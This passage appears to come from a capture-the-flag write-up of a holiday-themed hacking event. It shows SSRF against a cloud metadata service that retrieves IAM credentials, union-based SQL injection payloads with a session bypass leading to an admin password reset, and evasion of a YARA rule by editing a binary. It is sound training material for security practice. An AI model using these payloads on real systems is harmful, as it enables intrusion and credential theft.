helping Santa complete his investigation! Santa says you\u0026rsquo;re a whiz! whiz 10 - Now Hiring! Difficulty Objective Location 3/5 What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack\u0026rsquo;s bathroom to get hints from Noxious O. D\u0026rsquo;or. Online This is a webapp hacking challenge and we need to get the secret access key of the https://apply.jackfrosttower.com/ host.\nWebsite landing page The website contains mainly static content. There is only one form to apply for jobs at the Frost Tower.\nApplication form There is an URL field that the application probably will query to fetch some additional data to enrich the application. This may be prone to a Server Side Request Forgery (SSRF) attack if the value is not carefully validated. Moreover, if the application runs on a cloud instance, it could be possible to query the Instance metadata service (IMDS) to retrieve secret information. Let\u0026rsquo;s give it a try.\nIf we specify only the Name, the only response we get is Submission Accepted. However, if we specify an URL as well, let\u0026rsquo;s say http://169.254.169.254 (the AWS IMDS endpoint), we get a different response:\nApplication submission If we look more carefully, we see that the image that is not displayed correctly, points to https://apply.jackfrosttower.com/images/\u0026lt;Name\u0026gt;.jpg. If we retrieve it with wget we see that this is a text file that contains latest. This means that the website is indeed vulnerable to SSRF and that we can query the IMDS.\nLet\u0026rsquo;s retrieve the security credentials with the URL http://169.254.169.254/latest/meta-data/iam/security-credentials. We get that the instance role used is jf-deploy-role. Now we can send our final call with the URL http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role and we get the secret access key:\n{\n\u0026ldquo;Code\u0026rdquo;: \u0026ldquo;Success\u0026rdquo;,\n\u0026ldquo;LastUpdated\u0026rdquo;: \u0026ldquo;2021-05-02T18:50:40Z\u0026rdquo;,\n\u0026ldquo;Type\u0026rdquo;: \u0026ldquo;AWS-HMAC\u0026rdquo;,\n\u0026ldquo;AccessKeyId\u0026rdquo;: \u0026ldquo;AKIA5HMBSK1SYXYTOXX6\u0026rdquo;,\n\u0026ldquo;SecretAccessKey\u0026rdquo;: \u0026ldquo;CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX\u0026rdquo;,\n\u0026ldquo;Token\u0026rdquo;: \u0026ldquo;NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==\u0026rdquo;,\n\u0026ldquo;Expiration\u0026rdquo;: \u0026ldquo;2026-05-02T18:50:40Z\u0026rdquo;\n} Usually the next step is to use those credentials to investigate the underlying AWS account:\n$ export AWS_ACCESS_KEY_ID=AKIA5HMBSK1SYXYTOXX6\n$ export AWS_SECRET_ACCESS_KEY=CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX\n$ export AWS_SESSION_TOKEN=NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==\n$ aws sts get-caller-identity However, this does not work here. It must be an AWS-compatible IMDS server\u0026hellip;especially when we see that the region used is np-north-1 through the /placement/region metadata.\nCGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX 11 - Customer Complaint Analysis Difficulty Objective Location 2/5 A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints. N/A We get a Whireshark network capture file to analyze.\nApparently all the computers on the network send packets with Evil Bit set to 1. However, TCP streams 18 and 19 are the only streams that contain packets with the Evil Bit set to 0. This can be seen with the filter ip.flags.rb==0. Stream 19 (tcp.stream eq 19) shows the following complaint from a lady called Muffy VonDuchess Sebastian:\n\u0026ldquo;name\u0026rdquo; = \u0026ldquo;Muffy VonDuchess Sebastian\u0026rdquo;\n\u0026ldquo;troll_id\u0026rdquo; = \u0026ldquo;I don\u0026rsquo;t know. There were several of them.\u0026rdquo;\n\u0026ldquo;guest_info\u0026rdquo; = \u0026ldquo;Room 1024\u0026rdquo;\n\u0026ldquo;description\u0026rdquo; = \u0026ldquo;I have never, in my life, been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!\u0026rdquo; All this happended in Room 1024 so let\u0026rsquo;s use the following filter urlencoded-form matches \u0026quot;room.*1024\u0026quot; to see if some elves filed a complaint about her. We get 2 hits:\n\u0026ldquo;name\u0026rdquo; = \u0026ldquo;Yaqh\u0026rdquo;\n\u0026ldquo;troll_id\u0026rdquo; = \u0026ldquo;2796\u0026rdquo;\n\u0026ldquo;guest_info\u0026rdquo; = \u0026ldquo;Snooty lady in room 1024\u0026rdquo;\n\u0026ldquo;description\u0026rdquo; = \u0026ldquo;Lady call desk and ask for more towel. Yaqh take to room. Yaqh ask if she want more towel because she is like to steal. She say Yaqh is insult. Yaqh is not insult. Yaqh is Yaqh.\u0026rdquo;\n\u0026ldquo;name\u0026rdquo; = \u0026ldquo;Flud\u0026rdquo;\n\u0026ldquo;troll_id\u0026rdquo; = \u0026ldquo;2083\u0026rdquo;\n\u0026ldquo;guest_info\u0026rdquo; = \u0026ldquo;Very cranky lady in room 1024\u0026rdquo;\n\u0026ldquo;description\u0026rdquo; = \u0026ldquo;Lady call front desk. Complain \u0026ldquo;employee\u0026rdquo; is rude. Say she is insult and want to speak to manager. Send Flud to room. Lady say troll call her towels thief. I say stop steal towels if is bother her.\u0026rdquo;\n\u0026ldquo;name\u0026rdquo; = \u0026ldquo;Hagg\u0026rdquo;\n\u0026ldquo;troll_id\u0026rdquo; = \u0026ldquo;2013\u0026rdquo;\n\u0026ldquo;guest_info\u0026rdquo; = \u0026ldquo;Incredibly angry lady in room 1024\u0026rdquo;\n\u0026ldquo;description\u0026rdquo; = \u0026ldquo;Lady call front desk. I am walk by so I pick up phone. She is ANGRY and shout at me. Say she has never been so insult. I say she probably has but just didn\u0026rsquo;t hear it.\u0026rdquo;\n Flud Hagg Yaqh 12 - Frost Tower Website Checkup Difficulty Objective Location 5/5 Investigate Frost Tower\u0026rsquo;s website for security issues. This source code will be useful in your analysis. In Jack Frost\u0026rsquo;s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa\u0026rsquo;s dining room, may have some pointers for you. Online Another web application hacking challenge. This time we have even access to its source code. We access https://staging.jackfrosttower.com/:\nWebsite landing page Let\u0026rsquo;s start by analyzing the source code and more specifically server.js where all the logic is found. We see that it uses Node.JS and that the following routes are available:\n Route Actions Auth required / GET No /testsite GET, POST No /contact GET No /postcontact POST No /login GET, POST No /logout GET No /redirect GET Yes and No /forgotpass GET, POST No /forgotpass/token/:id GET, POST No /detail/:id GET Yes /edit/:id GET, POST Yes /delete/:id POST Yes /search GET, POST Yes /export POST Yes /dashboard GET Yes /adduser GET, POST Yes /userlist GET Yes /useredit/:id GET, POST Yes /userdelete/:id POST Yes When looking at how the routes that require authentication are protected, we see it checks for session.uniqueID to be set. There are a few places in the code where this is set, however, there is one place where this can be set without authentication:\nBad session management This means that we only have to send twice the same contact form with the same email address and we will have a valid session! So we go to https://staging.jackfrosttower.com/contact and send the form twice. The first time we get the message Data Saved to Database!, the seond time we get Email Already Exists. We then browse to one of the protected route, like /dashboard:\nlogin bypass - dashboard Now that we have access to all the features of the website, let\u0026rsquo;s analyze the rest of the source code. There are quite some SQL queries, let\u0026rsquo;s look if some are vulnerable to injections. Most of the queries look safe and are using either the escape() method to sanitize the user input or are using a kind of prepared statement (that behind the hoods uses the escape() method as well). By reading the documentation about Escaping query values, we see the following note:\nCaution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input. We find an occurence of this method in the /detail/:id route:\nVulnerable SQL query The route accepts multiple IDs as input that must be comma separated. In this case, the IDs are split and the query is reconstructed. For instance if the input is /detail/1,2 we get the query SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=?. Later, the last ? is replaced by the value of reqparam that is 0. We can test if this is vulnerable with a basic boolean-based SQL injection:\nhttps://staging.jackfrosttower.com/detail/1,2 and 1=1\nhttps://staging.jackfrosttower.com/detail/1,2 and 1=2 We have different results for the 2 calls which means that the injection worked. Let\u0026rsquo;s try to make a union-based SQL injection now, this would facilitate the data dump. But we have a constraint here due to the way the query is built: we wont' be able to use , or the query will be split and will generate errors.\nOne way to bypass this constraint is to change the usual union select 1,2,... query to union select * from ((select 1)A join (select 2)B .... As the initial query retrieves all the columns from the table uniquecontact and that the table has a total of 7 columns, we need to have a union query with 7 values as well. We end the query by commenting whatever follows to avoid errors. The query becomes:\nhttps://staging.jackfrosttower.com/detail/1,-2 union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)-- Union-based SQL injection We see that the fields are replaced by the values of the union query. The last 2 columns being dates, the values 6 and 7 are converted to a date format (June 1st and July 1st respectively).\nNow we can start dumping data. The database schema is described in the file /sql/encontact_db.sql. Let\u0026rsquo;s get some information from the users table for the users that have admin privileges. This means, users that have user_status=1. First the names:\nhttps://staging.jackfrosttower.com/detail/1,-2 union select * from ((select 1)A join (select group_concat(name) from users where user_status=1)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)-- We get only 1 account with the name Super Admin. We retrieve in the same way the email root@localhost and its encrypted password $2b$15$v8B1Z2pps1qREKNjPm..6OjGdLt4fxnD9p4ELOqOAzs1HG2w8MsSG. Fun thing, we don\u0026rsquo;t even need to crack the password, there is a way around that. Now that we have the email address, if we use the recover now option of the /login page, this will create a token that will be stored in the database and that we can retrieve through the same SQL injection. We can then use the token on the /forgotpass/token/\u0026lt;token\u0026gt; to reset the administrator password :) We can then connect with its email address as username and the password we have set to access the administration interface:\nAdministration interface We can even add our own super admin user if we wish. However, this does not help with solving the objective. Let\u0026rsquo;s continue to discover the database.\nUsing the same SQL injection, let\u0026rsquo;s list the tables with the following call:\nhttps://staging.jackfrosttower.com/detail/1,-2 union select * from ((select 1)A join (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)-- Database tables We get the following output users,todo,emails,uniquecontact. There is a new table todo that was not described in the schema! Let\u0026rsquo;s retrieve the columns:\nhttps://staging.jackfrosttower.com/detail/1,-2 union select * from ((select 1)A join (SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\u0026lsquo;todo\u0026rsquo;)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)-- Table todo columns The table has the following columns id,note,completed. Finally, let\u0026rsquo;s retrieve all the notes to validate the objective:\nhttps://staging.jackfrosttower.com/detail/1,-2 union select * from ((select 1)A join (SELECT group_concat(note) from todo)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)-- We get the following notes:\n Buy up land all around Santa\u0026rsquo;s Castle Build bigger and more majestic tower next to Santa\u0026rsquo;s Erode Santa\u0026rsquo;s influence at the North Pole via FrostFest, the greatest Con in history Dishearten Santa\u0026rsquo;s elves and encourage defection to our cause Steal Santa\u0026rsquo;s sleigh technology and build a competing and way better Frosty present delivery vehicle Undermine Santa\u0026rsquo;s ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem Force Santa to cancel Christmas SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide\u0026hellip; so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha! With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him Only the first 3 are set as completed so far by Jack Frost!\nThere are as well other issues with the code that should be improved:\n the secret to sign sessions is hardcoded in server.js there is some dead code in server.js that leaks credentials to the mailtrap.io service the database connection uses unsecure authentication option and no password in custom_modules/modconnection.js clerk 13 - FPGA Programming Difficulty Objective Location 4/5 Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack\u0026rsquo;s elevator. Frost Tower Rooftop For the last objective, we have to program an FPGA to create square wave tones.\nFPGA exercise For that, we have access to an online simulator when we have to create this tone generator to output square waves of determined frequencies: 500Hz, 1Khz, 2Khz and random values.\nFPGA online simulator Knowing that the FPGA used operates with a 125Mhz clock, the goal is to create a clock divider. One possible solution is the following Verilog script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 `timescale 1ns/1ns module tone_generator ( input clk, input rst, input [31:0] freq, output wave_out ); reg [31:0] counter; // counter for toggling localparam CLK_F = 125000000; // clockfreq in Hz reg speaker; assign wave_out = speaker; always @(posedge clk or posedge rst) begin if(rst==1) begin counter \u0026lt;= 0; speaker \u0026lt;= 0; end else begin if (counter == 0) begin counter \u0026lt;= (CLK_F/freq)*50-1; speaker \u0026lt;= ~speaker; end else counter \u0026lt;= counter - 1; end end endmodule Once we validate all the checks, we can click on the Program Device button to build our FPGA:\nFPGA tone generator After that, we just need to click on the toy that is on the elf table and drag \u0026amp; drop the FPGA at the right place to validate the last objective.\nSpeak\u0026amp;Spell Terminals 1 - Exif Metadata Elf Location Piney Sappington Courtyard We have to find which DOCX file has been modified by Jack Frost based on the files metadata. There are 25 files to analyze. We can use exiftool for that and look for the Last Modified By metadata.\nWe use the following one-liner to get the answer:\n$ for f in $(ls); do echo \u0026quot;$f \u0026quot; | tr -d '\\n'; exiftool $f | grep -i \u0026quot;last modified by\u0026quot;; done Terminal 1 solution The answer is 2021-12-21.docx.\n2 - Grepping for Gold Elf Location Greasy GopherGuts The North Pole This chalenge is about grepping NMAP outputs to answer multiple questions:\nTerminal 2 description Q1. What port does 34.76.1.22 have open? $ grep \u0026quot;34.76.1.22\u0026quot; bigscan.gnmap\nHost: 34.76.1.22 () Status: Up\nHost: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999) Answer: 62078.\nQ2. What port does 34.77.207.226 have open? $ grep \u0026quot;34.77.207.226\u0026quot; bigscan.gnmap Host: 34.77.207.226 () Status: Up\nHost: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999) Answer: 8080.\nQ3. How many hosts appear \u0026ldquo;Up\u0026rdquo; in the scan? $ grep \u0026quot;Status: Up\u0026quot; bigscan.gnmap | wc -l\n26054 Answer: 26054.\nQ4. How many hosts have a web port open? (Let\u0026rsquo;s just use TCP ports 80, 443, and 8080) $ grep -E \u0026quot;Ports:.*(8080/|443/|80/)\u0026quot; bigscan.gnmap | wc -l\n14372 Answer: 14372.\nQ5. How many hosts with status Up have no (detected) open TCP ports? The idea here is to find a line with Status: Up that does not contain the word Ports in the followin line.\n$ grep -Pzo '(Status: Up.*\\n)(?!.*Ports)' bigscan.gnmap | wc -l\n402\n// or with sed magic\n$ sed '/Status: Up/!d;$!N;/\\n.*Ports/!P;D' bigscan.gnmap | wc -l\n402\n Answer: 402.\nQ6. What\u0026rsquo;s the greatest number of TCP ports any one host has open? The idea here is to filter all the lines containing Ports, split the string using comma and count the number of strings in the list.\n$ grep \u0026quot;Ports\u0026quot; bigscan.gnmap | awk -F',' '{print NF}' | sort -nr| uniq\n12\n11\n10\n9\n8\n7\n6\n5\n4\n3\n2\n1 Answer: 12.\n3 - Logic Munchers Elf Location Noel Boetie The North Pole We need to play a game called Logic Chompers:\nLogic Chompers The goal of the game is to select all the statements that are True in a 6x5 grid. We can choose between multiple difficulties and type of statements. We have to move Chompy around the grid without being touched by Trollogs and click Space on all the True statements. Moreover, each time a Trollog moves to a new position, it changes its statement. The higher the level, the more difficult the statements are and the more Trollogs will appear on the grid and move at a faster pace.\nExpert level To validate this challenge, we can simply play the game normally at the Intermediate level and choose the Potpourri statement type which is a mix of all the others types.\nAnother way to play it is to analyze the Websocket calls that are sent and received with a proxy like Burp. The first call sent contains the information about the level and style we chose. The response, contains the grid configuration as well as which positions have True statements:\nWebsocket call We can then complete the levels more easily knowing the the list items go from top to bottom and from left to right.\n4 - IPv6 Sandbox Elf Location Jewel Loggins Talks Lobby The goal of this challenge is to retrieve a password stored in another host on an IPv6 network. We will have to use basic tools like netcat, nmap, ping and curl.\nTerminal 4 description We can start by using ifconfig to get the network range we are in:\nifconfig We can find other systems in our network segment with ping6 ff02::1%eth0 -c2. This is the address to multicast to all nodes on a link. We can then use ip neigh to list the neighbour table (the IPv4 equivalent of the ARP table):\nHost dicovery We can then use nmap to look for open ports on those hosts. Only one has open ports (the other hosts are probably of other players):\nHost open ports We can query the webserver with curl. Port 80 answers as follows:\nHost port 80 The other port gives us the password we are looking for:\nHost port 9000 5 - Santa\u0026rsquo;s Holiday Hero Elf Location Chimney Scissorsticks Netwars We have to play a game called Santa\u0026rsquo;s Holiday Hero that consists in pushing the right button when a music note reach the electric laser. The more musical notes you kill, the more you fuel Santa\u0026rsquo;s sleigh. This game must be played by default with another online player.\nSanta\u0026#39;s Holiday Hero However, the goal here is not to play with another player but to find a way to unlock the single player mode and win the game. We get a hint that there are 2 client-side values that we must change in order to unlock this mode and one of which is passed server-side.\nThe first thing we see is the cookie called HOHOHO that is equal to %7B%22single_player%22%3Afalse%7D. When decoded we get {\u0026quot;single_player\u0026quot;:false}. Let\u0026rsquo;s change it to {\u0026quot;single_player\u0026quot;:true}. This is however not sufficient to launch the game. We can have a look at the Javascript code that runs the game. The code is found at https://hero.kringlecastle.com/assets/js/holidayhero.min.js. This is a minified version so we can use any online code beautifier to have or more readable version.\nIf we search for single_player we see a variable called single_player_mode = !1. We can set it to true in the browser console. Just make sure you select the iframe of the game:\nSingle Player Mode We see that the user COMPUTER joins the game. We only have now to activate ON/OFF swithc and play the game till the end to win:\nSingle Player Mode win 6 - HoHo \u0026hellip; No Elf Location Eve Snowshoes Santa\u0026rsquo;s Office This challenge is about Fail2Ban configuration. We need to configure it to identify and block malicious IP addresses found in /var/log/hohono.log:\nTerminal 6 description So there are 3 pieces to configure:\n /etc/fail2ban/jail.d/naughtylist.conf that contains under which circumstances an IP address is banned /etc/fail2ban/filter.d/naughtylist.conf that defines what are the logs that constitute a fail attempts /etc/fail2ban/action.d/naughtylist.conf that defines what are the actions to take to ban/unban an IP address Let\u0026rsquo;s first create the action configuration to add and remove an IP address from the naughtylist:\n[Definition]\nactionban = /root/naughtylist add \nactionunban = /root/naughtylist del For the log filter, we need to have first a look at the logs and identify the failed attempts. By looking at the /var/log/hohono.log file we see the following error logs:\n\u0026lt;timestamp\u0026gt; Login from \u0026lt;ip\u0026gt; rejected due to unknown user name\n\u0026lt;timestamp\u0026gt; \u0026lt;ip\u0026gt; sent a malformed request\n\u0026lt;timestamp\u0026gt; Invalid heartbeat '\u0026lt;code\u0026gt;' from \u0026lt;ip\u0026gt;\n\u0026lt;timestamp\u0026gt; Failed login from \u0026lt;ip\u0026gt; for \u0026lt;user\u0026gt; We can easily filter in those logs by removing all successful logs with the following command: grep -i -E -v '(success|valid)' /var/log/hohono.log\nThe timestamp is in the format yyyy-mm-dd hh:mm:ss and the code is a value in alpha, bravo, charlie, delta.\nSo the filter configuration will become:\n[Definition]\nfailregex = Login from \u0026lt;HOST\u0026gt; rejected due to unknown user name$\n\u0026lt;HOST\u0026gt; sent a malformed request$\nInvalid heartbeat .* from \u0026lt;HOST\u0026gt;$\nFailed login from \u0026lt;HOST\u0026gt; for .*$\nignoreregex = At this point we can test our filter to check if we have hits with the following command fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf. We should see something like this:\nfail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf Finally we can configure the jail:\n[naughtylist]\nenabled = true\nfilter = naughtylist\naction = naughtylist\nlogpath = /var/log/hohono.log\nbantime = 5m\nfindtime = 60m\nmaxretry = 10 We restart the service with fail2ban-client stop/fail2ban-client start and verify our jail is active with fail2ban-client status:\nfail2ban-client status We then run /root/naughtylist refresh to reprocess the logs and we get:\nSuccessful IP bans 7 - Yara Analysis Elf Location Fitzy Shortstack Entry The goal of this challenge is to alter an executable to bypass a Yara scanner:\nTerminal 7 description The executable is /home/snowball2/the_critical_elf_app and when we run it we get a hit on the Yara rule 135:\n$ ./the_critical_elf_app\nyara_rule_135 ./the_critical_elf_app The ruleset is found in /home/snowball2/yara_rules/rules.yar and the rule 135 is:\n$ grep -A 12 \u0026ldquo;yara_rule_135 \u0026quot; yara_rules/rules.yar\nrule yara_rule_135 {\nmeta:\ndescription = \u0026ldquo;binaries - file Sugar_in_the_machinery\u0026rdquo;\nauthor = \u0026ldquo;Sparkle Redberry\u0026rdquo;\nreference = \u0026ldquo;North Pole Malware Research Lab\u0026rdquo;\ndate = \u0026ldquo;1955-04-21\u0026rdquo;\nhash = \u0026ldquo;19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488\u0026rdquo;\nstrings:\n$s = \u0026ldquo;candycane\u0026rdquo;\ncondition:\n$s\n} So this rule will simply trigger if the string candycane is found. So lets modify the binary with vim. Once in vim execute :%!xxd to convert it to a human-readable format. Look for the string of interest with /candy. It is found around offset 0x2000. Enter Insert mode with i and modify the first letter of the word. Make sure to modify the hex data in the left part:\nBinary edit with vim Quit the Insert mode with esc, convert the file back to binary with :%!xxd -r and save the file with :wq. We run again the binary and this time it\u0026rsquo;s the rule 1056 that blocks the app. The rule is:\n$ grep -A 12 \u0026ldquo;yara_rule_1056 \u0026quot; yara_rules/rules.yar\nrule yara_rule_1056 {\nmeta:\ndescription = \u0026ldquo;binaries - file frosty.exe\u0026rdquo;\nauthor = \u0026ldquo;Sparkle Redberry\u0026rdquo;\nreference = \u0026ldquo;North Pole Malware Research Lab\u0026rdquo;\ndate = \u0026ldquo;1955-04-21\u0026rdquo;\nhash = \u0026ldquo;b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03\u0026rdquo;\nstrings:\n$s1 = {6c 6962 632e 736f 2e36}\n$hs2 = {726f 6772 616d 2121}\ncondition:\nall of them\n} This time 2 strings are checked in their hex form. The first string is libc.so.6 and rogram!!. The first one is the name of a library that the binary uses so we won\u0026rsquo;t be able to change it without crashing the application. Let\u0026rsquo;s modify the second string the same way we did previously.\nNext rule to hit is 1732:\n$ grep -A 35 \u0026ldquo;yara_rule_1732 \u0026quot; yara_rules/rules.yar\nrule yara_rule_1732 {\nmeta:\ndescription = \u0026ldquo;binaries - alwayz_winter.exe\u0026rdquo;\nauthor = \u0026ldquo;Santa\u0026rdquo;\nreference = \u0026ldquo;North Pole Malware Research Lab\u0026rdquo;\ndate = \u0026ldquo;1955-04-22\u0026rdquo;\nhash = \u0026ldquo;c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8\u0026rdquo;\nstrings:\n$s1 = \u0026ldquo;This is critical for the execution of this program!!\u0026rdquo; fullword ascii\n$s2 = \u0026ldquo;__frame_dummy_init_array_entry\u0026rdquo; fullword ascii\n$s3 = \u0026ldquo;.note.gnu.property\u0026rdquo; fullword ascii\n$s4 = \u0026ldquo;.eh_frame_hdr\u0026rdquo; fullword ascii\n$s5 = \u0026ldquo;__FRAME_END__\u0026rdquo; fullword ascii\n$s6 = \u0026ldquo;__GNU_EH_FRAME_HDR\u0026rdquo; fullword ascii\n$s7 = \u0026ldquo;frame_dummy\u0026rdquo; fullword ascii\n$s8 = \u0026ldquo;.note.gnu.build-id\u0026rdquo; fullword ascii\n$s9 = \u0026ldquo;completed.8060\u0026rdquo; fullword ascii\n$s10 = \u0026ldquo;_IO_stdin_used\u0026rdquo; fullword ascii\n$s11 = \u0026ldquo;.note.ABI-tag\u0026rdquo; fullword ascii\n$s12 = \u0026ldquo;naughty string\u0026rdquo; fullword ascii\n$s13 = \u0026ldquo;dastardly string\u0026rdquo; fullword ascii\n$s14 = \u0026ldquo;__do_global_dtors_aux_fini_array_entry\u0026rdquo; fullword ascii\n$s15 = \u0026ldquo;__libc_start_main@@GLIBC_2.2.5\u0026rdquo; fullword ascii\n$s16 = \u0026ldquo;GLIBC_2.2.5\u0026rdquo; fullword ascii\n$s17 = \u0026ldquo;its_a_holly_jolly_variable\u0026rdquo; fullword ascii\n$s18 = \u0026ldquo;__cxa_finalize\u0026rdquo; fullword ascii\n$s19 = \u0026ldquo;HolidayHackChallenge{NotReallyAFlag}\u0026rdquo; fullword ascii\n$s20 = \u0026ldquo;__libc_csu_init\u0026rdquo; fullword ascii\ncondition:\nuint32(1) == 0x02464c45 and filesize \u0026lt; 50KB and\n10 of them\n} There are 3 conditions:\n uint32(1) == 0x02464c45 checks for this hex value at offset 1. This represents part of the ELF magic number 0x464c45 and 0x02 that defines that this is a 64-bit binary. So this cannot be changed. the filesize that could eventually be changed by appending dummy data to the excutable 10 of the $sxx strings must match, however, most of them relate to the binary structure or code and we cannot change them except for $s1, $s12, $s13, $s17 and $s19. We can bypass the second condition with by appending dummy bytes to the binary with python3 -c \u0026quot;print('A'*50000)\u0026quot; \u0026gt;\u0026gt; the_critical_elf_app. Now when we run the binary, we bypass all the rules and validate the challenge:\nYara rules bypass If we decode (hex to ASCII) the last string, we get the message Jolly Enough, Overtime Approved.\n8 - IMDS Exploration Elf Location Noxious O. D\u0026rsquo;or Jack\u0026rsquo;s Restroom This challenge is about exploring the AWS Instance Metadata Service (IMDS) by going through a few guided tutorial.\nP1. The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address 169.254.169.254. Send a couple ping packets to the server. $ ping 169.254.169.254\nPING 169.254.169.254 (169.254.169.254) 56(84) bytes of data.\n64 bytes from 169.254.169.254: icmp_seq=1 ttl=64 time=0.014 ms\n64 bytes from 169.254.169.254: icmp_seq=2 ttl=64 time=0.029 ms\n[\u0026hellip;] IMDS provides information about currently running virtual machine instances. You can use it to manage and configure cloud nodes. IMDS is used by all major cloud providers.\nP2. Developers can automate actions using IMDS. We\u0026rsquo;ll interact with the server using the cURL tool. Run \u0026lsquo;curl http://169.254.169.254\u0026rsquo; to access IMDS data. $ curl http://169.254.169.254\nlatest Different providers will have different formats for IMDS data. We\u0026rsquo;re using an AWS-compatible IMDS server that returns latest as the default response. Access the \u0026lsquo;latest\u0026rsquo; endpoint. Run curl http://169.254.169.254/latest.\n$ curl http://169.254.169.254/latest\ndynamic\nmeta-data IMDS returns two new endpoints: dynamic and meta-data. Let\u0026rsquo;s start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: curl http://169.254.169.254/latest/dynamic.\n$ curl http://169.254.169.254/latest/dynamic\nfws/instance-monitoring\ninstance-identity/document\ninstance-identity/pkcs7\ninstance-identity/signature The instance identity document can be used by developers to understand the instance details. Repeat the request, this time requesting the instance-identity/document resource: curl http://169.254.169.254/latest/dynamic/instance-identity/document.\n$ curl http://169.254.169.254/latest/dynamic/instance-identity/document\n{\n\u0026ldquo;accountId\u0026rdquo;: \u0026ldquo;PCRVQVHN4S0L4V2TE\u0026rdquo;,\n\u0026ldquo;imageId\u0026rdquo;: \u0026ldquo;ami-0b69ea66ff7391e80\u0026rdquo;,\n\u0026ldquo;availabilityZone\u0026rdquo;: \u0026ldquo;np-north-1f\u0026rdquo;,\n\u0026ldquo;ramdiskId\u0026rdquo;: null,\n\u0026ldquo;kernelId\u0026rdquo;: null,\n\u0026ldquo;devpayProductCodes\u0026rdquo;: null,\n\u0026ldquo;marketplaceProductCodes\u0026rdquo;: null,\n\u0026ldquo;version\u0026rdquo;: \u0026ldquo;2017-09-30\u0026rdquo;,\n\u0026ldquo;privateIp\u0026rdquo;: \u0026ldquo;10.0.7.10\u0026rdquo;,\n\u0026ldquo;billingProducts\u0026rdquo;: null,\n\u0026ldquo;instanceId\u0026rdquo;: \u0026ldquo;i-1234567890abcdef0\u0026rdquo;,\n\u0026ldquo;pendingTime\u0026rdquo;: \u0026ldquo;2021-12-01T07:02:24Z\u0026rdquo;,\n\u0026ldquo;architecture\u0026rdquo;: \u0026ldquo;x86_64\u0026rdquo;,\n\u0026ldquo;instanceType\u0026rdquo;: \u0026ldquo;m4.xlarge\u0026rdquo;,\n\u0026ldquo;region\u0026rdquo;: \u0026ldquo;np-north-1\u0026rdquo;\n} Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON) format. Piping the output to jq will make the content easier to read. Re-run the previous command, sending the output to JQ: curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq.\nHere we see several details about the instance when it was launched. Developers can use this information to optimize applications based on the instance launch parameters.\nP3. In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as well. Examine the metadata elements available: curl http://169.254.169.254/latest/meta-data. $ curl http://169.254.169.254/latest/meta-data\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/ami\nblock-device-mapping/ebs0\nblock-device-mapping/ephemeral0\nblock-device-mapping/root\nblock-device-mapping/swap\nelastic-inference/associations\nelastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1\nevents/maintenance/scheduled\nevents/recommendations/rebalance\nhostname\niam/info\niam/security-credentials\niam/security-credentials/elfu-deploy-role\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlatest\nlatest/api/token\nlocal-hostname\nlocal-ipv4\nmac\nnetwork/interfaces/macs/0e:49:61:0f:c3:11/device-number\nnetwork/interfaces/macs/0e:49:61:0f:c3:11/interface-id\nnetwork/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54\nnetwork/interfaces/macs/0e:49:61:0f:c3:11/ipv6s\n[\u0026hellip;] By accessing the metadata elements, a developer can interrogate information about the system. Take a look at the public-hostname element: curl http://169.254.169.254/latest/meta-data/public-hostname.\n$ curl http://169.254.169.254/latest/meta-data/public-hostname\nec2-192-0-2-54.compute-1.amazonaws.com Many of the data elements returned won\u0026rsquo;t include a trailing newline, which causes the response to blend into the prompt. Re-run the prior command, adding ; echo to the end of the command. This will add a new line character to the response.\nThere is a whole lot of information that can be retrieved from the IMDS server. Even AWS Identity and Access Management (IAM) credentials! Request the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials to see the instance IAM role.\n$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials ; echo\nelfu-deploy-role Once you know the role name, you can request the 